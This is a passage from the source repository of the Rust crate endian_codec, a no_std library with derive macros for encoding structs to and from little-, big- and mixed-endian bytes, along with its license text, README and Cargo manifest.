that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2020 Sylwester Rąpała 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /endian_codec/README.md: -------------------------------------------------------------------------------- 1 | [![crates.io](https://img.shields.io/crates/v/endian_codec.svg)](https://crates.io/crates/endian_codec) 2 | [![Documentation](https://docs.rs/endian_codec/badge.svg)](https://docs.rs/endian_codec/) 3 | ![CI master](https://github.com/xoac/endian_codec/workflows/Continuous%20integration/badge.svg?branch=master) 4 | derive: [![crates.io](https://img.shields.io/crates/v/endian_codec_derive.svg)](https://crates.io/crates/endian_codec_derive) 5 | 6 | # endian_codec 7 | 8 | This crate helps serialize types as bytes and deserialize from bytes with a special 9 | byte order. This crate can be used in [no_std] environment and has no external dependencies. 10 | 11 | If you are looking for a small universal binary (de)serializer that works with 12 | [serde], look at [bincode]. 13 | 14 | Main features: 15 | * A clean way to convert structures to bytes( with bytes order) and back 16 | * Derive 17 | * `no_std` 18 | * no external dependencies 19 | 20 | ### Examples 21 | ```rust 22 | use endian_codec::{PackedSize, EncodeLE, DecodeLE}; 23 | // If you look at this structure without checking the documentation, you know it works with 24 | // little-endian notation 25 | #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE)] 26 | struct Version { 27 | major: u16, 28 | minor: u16, 29 | patch: u16 30 | } 31 | 32 | let mut buf = [0; Version::PACKED_LEN]; // From PackedSize 33 | let test = Version { major: 0, minor: 21, patch: 37 }; 34 | // if you work with big- and little-endians, you will not mix them accidentally 35 | test.encode_as_le_bytes(&mut buf); 36 | let test_from_b = Version::decode_from_le_bytes(&buf); 37 | assert_eq!(test, test_from_b); 38 | ``` 39 | 40 | There can be also a situation when you are forced to work with mixed-endians in one struct. 41 | ```rust 42 | use endian_codec::{PackedSize, EncodeME}; 43 | // even if you only use derive EncodeME, you also need to have required traits in the scope. 44 | use endian_codec::{EncodeLE, EncodeBE}; // for #[endian = "le/be"] 45 | 46 | #[derive(PackedSize, EncodeME)] 47 | // You work with a very old system and there are mixed-endians 48 | // There will be only one format "le" or "little" in the next minor version. 49 | struct Request { 50 | #[endian = "le"] 51 | cmd: u16, 52 | #[endian = "little"] // or #[endian = "le"] 53 | value: i64, 54 | #[endian = "big"] // or #[endian = "be"] 55 | timestamp: i128, 56 | } 57 | 58 | let mut buf = [0; Request::PACKED_LEN]; 59 | let req = Request { 60 | cmd: 0x44, 61 | value: 74, 62 | timestamp: 0xFFFF_FFFF_0000_0000, 63 | }; 64 | // here we see me (mixed-endian), just look at the struct definition for details 65 | req.encode_as_me_bytes(&mut buf); 66 | 67 | ``` 68 | 69 | #### Why another crate to handle endianess? 70 | * Easy byteorder-encoding structs with multiple fields and consistent encoding 71 | * Learning how to create custom derives 72 | * Making a clean API and auto document code. 73 | 74 | #### There are a few other crates that do a similar things: 75 | * [byteorder] - Library for reading/writing numbers in big-endian and little-endian. 76 | * [bytes] - Buf and BufMut traits that have methods to put and get primitives in the desired endian format. 77 | * [packed_struct] - Safe struct (un-) packing with bit-level control. 78 | * [simple_endian] - Instead of providing functions that convert - create types that store. 79 | variables in the desired endian format. 80 | * [struct_deser] - Inspiration for this crate. 81 | 82 | 83 | 84 | [bincode]:https://crates.io/crates/bincode 85 | [byteorder]:https://crates.io/crates/byteorder 86 | [bytes]:https://crates.io/crates/bytes 87 | [packed_struct]:https://crates.io/crates/packed_struct 88 | [simple_endian]:https://crates.io/crates/simple_endian 89 | [struct_deser]:https://crates.io/crates/struct_deser 90 | [no_std]:https://rust-embedded.github.io/book/intro/no-std.html 91 | [serde]:https://crates.io/crates/serde 92 | 93 | ## License 94 | 95 | Licensed under either of 96 | 97 | * Apache License, Version 2.0 98 | ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) 99 | * MIT license 100 | ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) 101 | 102 | at your option. 103 | 104 | ## Contribution 105 | 106 | Unless you explicitly state otherwise, any contribution intentionally submitted 107 | for inclusion in the work by you, as defined in the Apache-2.0 license, shall be 108 | dual licensed as above, without any additional terms or conditions. 109 | 110 | This project try follow rules: 111 | * [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 112 | * [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 113 | 114 | _This README was generated with [cargo-readme](https://github.com/livioribeiro/cargo-readme) from [template](https://github.com/xoac/crates-io-lib-template)_ 115 | -------------------------------------------------------------------------------- /endian_codec/README.tpl: -------------------------------------------------------------------------------- 1 | [![crates.io](https://img.shields.io/crates/v/endian_codec.svg)](https://crates.io/crates/endian_codec) 2 | [![Documentation](https://docs.rs/endian_codec/badge.svg)](https://docs.rs/endian_codec/) 3 | ![CI master](https://github.com/xoac/endian_codec/workflows/Continuous%20integration/badge.svg?branch=master) 4 | derive: [![crates.io](https://img.shields.io/crates/v/endian_codec_derive.svg)](https://crates.io/crates/endian_codec_derive) 5 | 6 | # {{crate}} 7 | 8 | {{readme}} 9 | 10 | ## License 11 | 12 | Licensed under either of 13 | 14 | * Apache License, Version 2.0 15 | ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) 16 | * MIT license 17 | ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) 18 | 19 | at your option. 20 | 21 | ## Contribution 22 | 23 | Unless you explicitly state otherwise, any contribution intentionally submitted 24 | for inclusion in the work by you, as defined in the Apache-2.0 license, shall be 25 | dual licensed as above, without any additional terms or conditions. 26 | 27 | This project try follow rules: 28 | * [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), 29 | * [Semantic Versioning](https://semver.org/spec/v2.0.0.html). 30 | 31 | _This README was generated with [cargo-readme](https://github.com/livioribeiro/cargo-readme) from [template](https://github.com/xoac/crates-io-lib-template)_ 32 | -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "endian_codec_derive" 3 | version = "0.1.2" 4 | authors = ["Sylwester Rąpała "] 5 | edition = "2018" 6 | 7 | license = "MIT OR Apache-2.0" 8 | description = "Macros implementation for endian_codec crate" 9 | repository = "https://github.com/xoac/endian_codec" 10 | categories = ["no-std", "parsing"] 11 | keywords = ["derive", "endian", "bytes"] 12 | readme = "README.md" 13 | 14 | [badges] 15 | maintenance = { status = "actively-developed" } 16 | 17 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 18 | 19 | [lib] 20 | proc-macro = true 21 | 22 | [dependencies] 23 | proc-macro2 = "1.0" 24 | quote = "1.0" 25 | syn = "1.0" 26 | -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/LICENSE: -------------------------------------------------------------------------------- 1 | ../LICENSE -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/LICENSE-APACHE: -------------------------------------------------------------------------------- 1 | ../LICENSE-APACHE -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/README.md: -------------------------------------------------------------------------------- 1 | ../README.md -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/src/attr.rs: -------------------------------------------------------------------------------- 1 | // handle parse of #[endian = "..."] 2 | 3 | use crate::Endian; 4 | use syn::{Attribute, Lit, Meta}; 5 | 6 | pub(crate) fn endian_from_attribute(attrs: &[Attribute]) -> Option { 7 | let mut endian = None; 8 | for attr in attrs { 9 | if !attr.path.is_ident("endian") { 10 | // this is not #[endian..] attribute 11 | continue; 12 | } 13 | 14 | if let Ok(meta) = attr.parse_meta() { 15 | match meta { 16 | Meta::Path(_) => unimplemented!(), 17 | Meta::List(_) => unimplemented!(), 18 | Meta::NameValue(nv) => { 19 | assert!(nv.path.is_ident("endian")); 20 | assert!(endian.is_none()); // FIXME span error - only one endian can be used! 21 | endian = Some(match nv.lit { 22 | Lit::Str(v) => match v.value().as_ref() { 23 | "le" | "little" => Endian::Little, 24 | "be" | "big" => Endian::Big, 25 | "native" => unimplemented!(), 26 | "custom" => unimplemented!(), 27 | _ => unimplemented!(), 28 | }, 29 | _ => unimplemented!(), 30 | }); 31 | } 32 | } 33 | } else { 34 | unimplemented!() 35 | } 36 | } 37 | endian 38 | } 39 | -------------------------------------------------------------------------------- /endian_codec/endian_codec_derive/src/lib.rs: -------------------------------------------------------------------------------- 1 | //! This crate provide derive macros for [endian_codec] traits. 2 | //! 3 | //! Please refer to [endian_codec] to know how to set up. 4 | //! 5 | //! [endian_codec]:https://crates.io/crates/endian_codec 6 | 7 | extern crate proc_macro; 8 | use proc_macro2::TokenStream; 9 | use quote::{quote, quote_spanned}; 10 | use syn::spanned::Spanned; 11 | use syn::{ 12 | parse_macro_input, parse_quote, Data, DeriveInput, Fields, GenericParam, Generics, 13 | TypeParamBound, 14 | }; 15 | 16 | mod attr; 17 | 18 | #[derive(Clone, Copy)] 19 | enum Endian { 20 | Big, 21 | Little, 22 | Mixed, 23 | } 24 | 25 | #[derive(Clone, Copy)] 26 | enum Codec { 27 | Encode, 28 | Decode, 29 | } 30 | 31 | #[proc_macro_derive(PackedSize)] 32 | pub fn derive_endian_size(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 33 | // Parse the input tokens into a syntax tree. 34 | let input = parse_macro_input!(input as DeriveInput); 35 | 36 | // Used in the quasi-quotation below as `#name`. 37 | let name = input.ident; 38 | 39 | // Add a bound `T: EncodeLE` to every type parameter T. 40 | let generics = add_trait_bounds(input.generics, parse_quote!(PackedSize)); 41 | let (impl_generics, ty_generics, where_clause) = generics.split_for_impl(); 42 | 43 | let body = bytes_size(&input.data); 44 | 45 | let expanded = quote! { 46 | // The generated impl. 47 | impl #impl_generics PackedSize for #name #ty_generics #where_clause { 48 | const PACKED_LEN: usize = #body; 49 | } 50 | }; 51 | 52 | // Hand the output tokens back to the compiler. 53 | proc_macro::TokenStream::from(expanded) 54 | } 55 | 56 | fn bytes_size(data: &Data) -> TokenStream { 57 | match *data { 58 | Data::Struct(ref data) => { 59 | match data.fields { 60 | Fields::Named(ref fields) => { 61 | // Expands to an expression like 62 | // 63 | // 0 + ::PACKED_LEN + ::PACKED_LEN 64 | let recurse = fields.named.iter().map(|f| { 65 | let ty = &f.ty; 66 | quote_spanned! {f.span()=> 67 | <#ty as PackedSize>::PACKED_LEN 68 | } 69 | }); 70 | 71 | quote! { 72 | 0 #(+ #recurse)* 73 | } 74 | } 75 | Fields::Unnamed(ref fields) => { 76 | // Expands to an expression like 77 | // 78 | // 0 + ::PACKED_LEN + ::PACKED_LEN 79 | let recurse = fields.unnamed.iter().map(|f| { 80 | let ty = &f.ty; 81 | quote_spanned! {f.span()=> 82 | <#ty as PackedSize>::PACKED_LEN 83 | } 84 | }); 85 | quote! { 86 | 0 #(+ #recurse)* 87 | } 88 | } 89 | Fields::Unit => { 90 | // Unit structs cannot own more than 0 bytes of heap memory. 91 | quote!(0) 92 | } 93 | } 94 | } 95 | Data::Enum(_) | Data::Union(_) => unimplemented!(), 96 | } 97 | } 98 | 99 | #[proc_macro_derive(EncodeLE)] 100 | pub fn derive_endian_ser_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 101 | derive_endian_impl(input, Endian::Little, Codec::Encode) 102 | } 103 | 104 | #[proc_macro_derive(EncodeBE)] 105 | pub fn derive_endian_de_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 106 | derive_endian_impl(input, Endian::Big, Codec::Encode) 107 | } 108 | 109 | #[proc_macro_derive(EncodeME, attributes(endian))] 110 | pub fn derive_endian_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 111 | derive_endian_impl(input, Endian::Mixed, Codec::Encode) 112 | } 113 | 114 | #[proc_macro_derive(DecodeLE)] 115 | pub fn derive_endian_le_de_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 116 | derive_endian_impl(input, Endian::Little, Codec::Decode) 117 | } 118 | 119 | #[proc_macro_derive(DecodeBE)] 120 | pub fn derive_endian_be_de_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 121 | derive_endian_impl(input, Endian::Big, Codec::Decode) 122 | } 123 | 124 | #[proc_macro_derive(DecodeME, attributes(endian))] 125 | pub fn derive_endian_me_de_bytes(input: proc_macro::TokenStream) -> proc_macro::TokenStream { 126 | derive_endian_impl(input, Endian::Mixed, Codec::Decode) 127 | } 128 | 129 | fn derive_endian_impl( 130 | input: proc_macro::TokenStream, 131 | endian: Endian, 132 | codec: Codec, 133 | ) -> proc_macro::TokenStream { 134 | // Parse the input tokens into a syntax tree. 135 | let input = parse_macro_input!(input as DeriveInput); 136 | 137 | // Used in the quasi-quotation below as `#name`. 138 | let name = input.ident; 139 | 140 | // Add a bound `T: (Big/Little/Mixed)Endian(Encode/Decode)` to every type parameter T. 141 | let generics = match codec { 142 | Codec::Encode => match endian { 143 | Endian::Little => add_trait_bounds(input.generics, parse_quote!(EncodeLE)), 144 | Endian::Big => add_trait_bounds(input.generics, parse_quote!(EncodeBE)), 145 | Endian::Mixed => add_trait_bounds(input.generics, parse_quote!(EncodeME)), 146 | }, 147 | Codec::Decode => match endian { 148 | Endian::Little => add_trait_bounds(input.generics, parse_quote!(DecodeLE)), 149 | Endian::Big => add_trait_bounds(input.generics, parse_quote!(DecodeBE)), 150 | Endian::Mixed => add_trait_bounds(input.generics, parse_quote!(DecodeME)), 151 | }, 152 | }; 153 | 154 | let (impl_generics, ty_generics, where_clause) = generics.split_for_impl(); 155 | 156 | // Generate an expression to sum up the heap size of each field. 157 | let body = codec_data_expands(&input.data, endian, codec); 158 | 159 | // The generated impl. 160 | let expanded = match codec { 161 | Codec::Encode => match endian { 162 | Endian::Little => quote! { 163 | impl #impl_generics EncodeLE for #name #ty_generics #where_clause { 164 | #[inline] 165 | fn encode_as_le_bytes(&self, bytes: &mut [u8]) -> usize { 166 | #body 167 | Self::PACKED_LEN 168 | } 169 | } 170 | }, 171 | Endian::Big => quote! { 172 | impl #impl_generics EncodeBE for #name #ty_generics #where_clause { 173 | #[inline] 174 | fn encode_as_be_bytes(&self, bytes: &mut [u8]) -> usize { 175 | #body 176 | Self::PACKED_LEN 177 | } 178 | } 179 | }, 180 | Endian::Mixed => quote! { 181 | impl #impl_generics EncodeME for #name #ty_generics #where_clause { 182 | #[inline] 183 | fn encode_as_me_bytes(&self, bytes: &mut [u8]) -> usize { 184 | #body 185 | Self::PACKED_LEN 186 | } 187 | } 188 | }, 189 | }, 190 | Codec::Decode => match endian { 191 | Endian::Little => quote! { 192 | impl #impl_generics DecodeLE for #name #ty_generics #where_clause { 193 | #[inline] 194 | fn decode_from_le_bytes(bytes: &[u8]) -> Self { 195 | Self { #body } 196 | } 197 | } 198 | }, 199 | Endian::Big => quote! { 200 | impl #impl_generics DecodeBE for #name #ty_generics #where_clause { 201 | #[inline] 202 | fn decode_from_be_bytes(bytes: &[u8]) -> Self { 203 | Self { #body } 204 | } 205 | } 206 | }, 207 | Endian::Mixed => quote! { 208 | impl #impl_generics DecodeME for #name #ty_generics #where_clause { 209 | #[inline] 210 | fn decode_from_me_bytes(bytes: &[u8]) -> Self { 211 | Self { #body } 212 | } 213 | } 214 | }, 215 | }, 216 | }; 217 | 218 | // Hand the output tokens back to the compiler. 219 | proc_macro::TokenStream::from(expanded) 220 | } 221 | 222 | use syn::{punctuated::Punctuated, token::Comma, Field}; 223 | 224 | fn codec_fields(fields: &Punctuated, endian: Endian, codec: Codec) -> TokenStream { 225 | let mut beg_offset = quote! { 0 }; 226 | let mut recurse = vec![]; 227 | for field in fields.iter() { 228 | let name = &field.ident; 229 | let ty = &field.ty; 230 | let struct_size = quote! { <#ty as PackedSize>::PACKED_LEN }; 231 | let end_offset = quote! { #beg_offset + #struct_size }; 232 | let bytes_slice = quote! { bytes[#beg_offset..#end_offset] }; 233 | match codec { 234 | Codec::Encode => match endian { 235 | Endian::Little => recurse.push(quote_spanned! {field.span()=> 236 | debug_assert_eq!(#struct_size, #bytes_slice.len()); 237 | EncodeLE::encode_as_le_bytes(&self.#name, &mut #bytes_slice); 238 | }), 239 | Endian::Big => recurse.push(quote_spanned! {field.span()=> 240 | debug_assert_eq!(#struct_size, #bytes_slice.len()); 241 | EncodeBE::encode_as_be_bytes(&self.#name, &mut #bytes_slice); 242 | }), 243 | Endian::Mixed => { 244 | let filed_endian = attr::endian_from_attribute(&field.attrs); 245 | 246 | let r = match filed_endian { 247 | Some(Endian::Little) => quote_spanned! {field.span()=> 248 | debug_assert_eq!(#struct_size, #bytes_slice.len()); 249 | EncodeLE::encode_as_le_bytes(&self.#name, &mut #bytes_slice); 250 | }, 251 | Some(Endian::Big) => quote_spanned! {field.span()=> 252 | debug_assert_eq!(#struct_size, #bytes_slice.len()); 253 | EncodeBE::encode_as_be_bytes(&self.#name, &mut #bytes_slice); 254 | }, 255 | Some(Endian::Mixed) => unimplemented!(), 256 | None => quote_spanned! {field.span()=> 257 | debug_assert_eq!(#struct_size, #bytes_slice.len()); 258 | EncodeME::encode_as_me_bytes(&self.#name, &mut #bytes_slice); 259 | }, 260 | }; 261 | recurse.push(r) 262 | } 263 | }, 264 | Codec::Decode => match endian { 265 | Endian::Little => recurse.push(quote_spanned! {field.span()=> 266 | #name: DecodeLE::decode_from_le_bytes(& #bytes_slice), 267 | }), 268 | Endian::Big => recurse.push(quote_spanned! {field.span()=> 269 | #name: DecodeBE::decode_from_be_bytes(& #bytes_slice), 270 | }), 271 | Endian::Mixed => { 272 | let filed_endian = attr::endian_from_attribute(&field.attrs); 273 | 274 | let r = match filed_endian { 275 | Some(Endian::Little) => quote_spanned! {field.span()=> 276 | #name: DecodeLE::decode_from_le_bytes(& #bytes_slice), 277 | }, 278 | Some(Endian::Big) => quote_spanned! {field.span()=> 279 | #name: DecodeBE::decode_from_be_bytes(& #bytes_slice), 280 | }, 281 | Some(Endian::Mixed) => unimplemented!(), 282 | None => quote_spanned! {field.span()=> 283 | #name: DecodeME::decode_from_me_bytes(& #bytes_slice), 284 | }, 285 | }; 286 | recurse.push(r) 287 | } 288 | }, 289 | } 290 | beg_offset = quote! { #beg_offset + #struct_size } 291 | } 292 | 293 | quote! { 294 | #(#recurse)* 295 | } 296 | } 297 | 298 | fn codec_data_expands(data: &Data, endian: Endian, codec: Codec) -> TokenStream { 299 | // this also contains `bytes` variable 300 | match *data { 301 | Data::Struct(ref data) => { 302 | match data.fields { 303 | Fields::Named(ref fields) => codec_fields(&fields.named, endian, codec), 304 | Fields::Unnamed(ref fields) => codec_fields(&fields.unnamed, endian, codec), 305 | Fields::Unit => { 306 | // Unit structs cannot own more than 0 bytes of heap memory. 307 | quote!(0) 308 | } 309 | } 310 | } 311 | Data::Enum(_) | Data::Union(_) => unimplemented!(), 312 | } 313 | } 314 | 315 | // Add a bound `T: trait_bound` to every type parameter T. 316 | fn add_trait_bounds(mut generics: Generics, trait_bound: TypeParamBound) -> Generics { 317 | for param in &mut generics.params { 318 | if let GenericParam::Type(ref mut type_param) = *param { 319 | type_param.bounds.push(trait_bound.clone()); 320 | } 321 | } 322 | generics 323 | } 324 | -------------------------------------------------------------------------------- /endian_codec/src/lib.rs: -------------------------------------------------------------------------------- 1 | //! This crate helps serialize types as bytes and deserialize from bytes with a special 2 | //! byte order. This crate can be used in [no_std] environment and has no external dependencies. 3 | //! 4 | //! If you are looking for a small universal binary (de)serializer that works with 5 | //! [serde], look at [bincode]. 6 | //! 7 | //! Main features: 8 | //! * A clean way to convert structures to bytes( with bytes order) and back 9 | //! * Derive 10 | //! * `no_std` 11 | //! * no external dependencies 12 | //! 13 | //! ## Examples 14 | //! ```rust 15 | //! use endian_codec::{PackedSize, EncodeLE, DecodeLE}; 16 | //! // If you look at this structure without checking the documentation, you know it works with 17 | //! // little-endian notation 18 | //! #[derive(Debug, PartialEq, Eq, PackedSize, EncodeLE, DecodeLE)] 19 | //! struct Version { 20 | //! major: u16, 21 | //! minor: u16, 22 | //! patch: u16 23 | //! } 24 | //! 25 | //! let mut buf = [0; Version::PACKED_LEN]; // From PackedSize 26 | //! let test = Version { major: 0, minor: 21, patch: 37 }; 27 | //! // if you work with big- and little-endians, you will not mix them accidentally 28 | //! test.encode_as_le_bytes(&mut buf); 29 | //! let test_from_b = Version::decode_from_le_bytes(&buf); 30 | //! assert_eq!(test, test_from_b); 31 | //! ``` 32 | //! 33 | //! There can be also a situation when you are forced to work with mixed-endians in one struct. 34 | //! ```rust 35 | //! use endian_codec::{PackedSize, EncodeME}; 36 | //! // even if you only use derive EncodeME, you also need to have required traits in the scope. 37 | //! use endian_codec::{EncodeLE, EncodeBE}; // for #[endian = "le/be"] 38 | //! 39 | //! #[derive(PackedSize, EncodeME)] 40 | //! // You work with a very old system and there are mixed-endians 41 | //! // There will be only one format "le" or "little" in the next minor version. 42 | //! struct Request { 43 | //! #[endian = "le"] 44 | //! cmd: u16, 45 | //! #[endian = "little"] // or #[endian = "le"] 46 | //! value: i64, 47 | //! #[endian = "big"] // or #[endian = "be"] 48 | //! timestamp: i128, 49 | //! } 50 | //! 51 | //! let mut buf = [0; Request::PACKED_LEN]; 52 | //! let req = Request { 53 | //! cmd: 0x44, 54 | //! value: 74, 55 | //! timestamp: 0xFFFF_FFFF_0000_0000, 56 | //! }; 57 | //! // here we see me (mixed-endian), just look at the struct definition for details 58 | //! req.encode_as_me_bytes(&mut buf); 59 | //! 60 | //! ``` 61 | //! 62 | //! ### Why another crate to handle endianess? 63 | //! * Easy byteorder-encoding structs with multiple fields and consistent encoding 64 | //! * Learning how to create custom derives 65 | //! * Making a clean API and auto document code. 66 | //! 67 | //! ### There are a few other crates that do a similar things: 68 | //! * [byteorder] - Library for reading/writing numbers in big-endian and little-endian. 69 | //! * [bytes] - Buf and BufMut traits that have methods to put and get primitives in the desired endian format. 70 | //! * [packed_struct] - Safe struct (un-) packing with bit-level control. 71 | //! * [simple_endian] - Instead of providing functions that convert - create types that store. 72 | //! variables in the desired endian format. 73 | //! * [struct_deser] - Inspiration for this crate. 74 | //! 75 | //! 76 | //! 77 | //! [bincode]:https://crates.io/crates/bincode 78 | //! [byteorder]:https://crates.io/crates/byteorder 79 | //! [bytes]:https://crates.io/crates/bytes 80 | //! [packed_struct]:https://crates.io/crates/packed_struct 81 | //! [simple_endian]:https://crates.io/crates/simple_endian 82 | //! [struct_deser]:https://crates.io/crates/struct_deser 83 | //! [no_std]:https://rust-embedded.github.io/book/intro/no-std.html 84 | //! [serde]:https://crates.io/crates/serde 85 | 86 | #![no_std] 87 | use core::mem::size_of; 88 | 89 | #[cfg(feature = "endian_codec_derive")] 90 | pub use endian_codec_derive::*; 91 | 92 | /// Encoded as little-endian bytes. 93 | pub trait EncodeLE: PackedSize { 94 | /// Borrow `self` and pack into `bytes` using little-endian representation. Return the packed size in bytes. 95 | /// 96 | /// # Panics 97 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 98 | /// 99 | fn encode_as_le_bytes(&self, bytes: &mut [u8]) -> usize; 100 | } 101 | 102 | /// Encoded as big-endian bytes. 103 | pub trait EncodeBE: PackedSize { 104 | /// Borrow `self` and pack into `bytes` using big-endian representation. Return the packed size in bytes. 105 | /// 106 | /// # Panics 107 | /// 108 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 109 | fn encode_as_be_bytes(&self, bytes: &mut [u8]) -> usize; 110 | } 111 | 112 | /// Encode using mixed-endian bytes. 113 | /// 114 | /// # Note 115 | /// If you only use big-/little-endians, consider using [EncodeBE](EncodeBE) / [EncodeLE](EncodeLE) traits instead. 116 | pub trait EncodeME: PackedSize { 117 | /// Borrow `self` and pack into `bytes` using mixed(custom)-endian representation. Return the packed size in bytes. 118 | /// 119 | /// # Panics 120 | /// 121 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 122 | fn encode_as_me_bytes(&self, bytes: &mut [u8]) -> usize; 123 | } 124 | 125 | /// Decode from bytes stored as a little-endian. 126 | pub trait DecodeLE: PackedSize { 127 | /// Read `bytes` slice packed as little-endian bytes and create `Self` from them 128 | /// 129 | /// # Panics 130 | /// 131 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 132 | fn decode_from_le_bytes(bytes: &[u8]) -> Self; 133 | } 134 | 135 | /// Decode from bytes stored as a big-endian. 136 | pub trait DecodeBE: PackedSize { 137 | /// Read `bytes` slice packed as big-endian bytes and create `Self` from them 138 | /// 139 | /// # Panics 140 | /// 141 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 142 | fn decode_from_be_bytes(bytes: &[u8]) -> Self; 143 | } 144 | 145 | /// Decode from bytes stored as a mixed-endian. 146 | /// 147 | /// # Note 148 | /// If you only use big-/little-endians, consider using [DecodeBE](DecodeBE) / [DecodeLE](DecodeLE) traits instead. 149 | pub trait DecodeME: PackedSize { 150 | /// Read `bytes` slice packed as mixed(custom)-endian bytes and create `Self` from them 151 | /// 152 | /// # Panics 153 | /// 154 | /// Panic if [PackedSize](PackedSize) represents a different size than `bytes` slice. 155 | fn decode_from_me_bytes(bytes: &[u8]) -> Self; 156 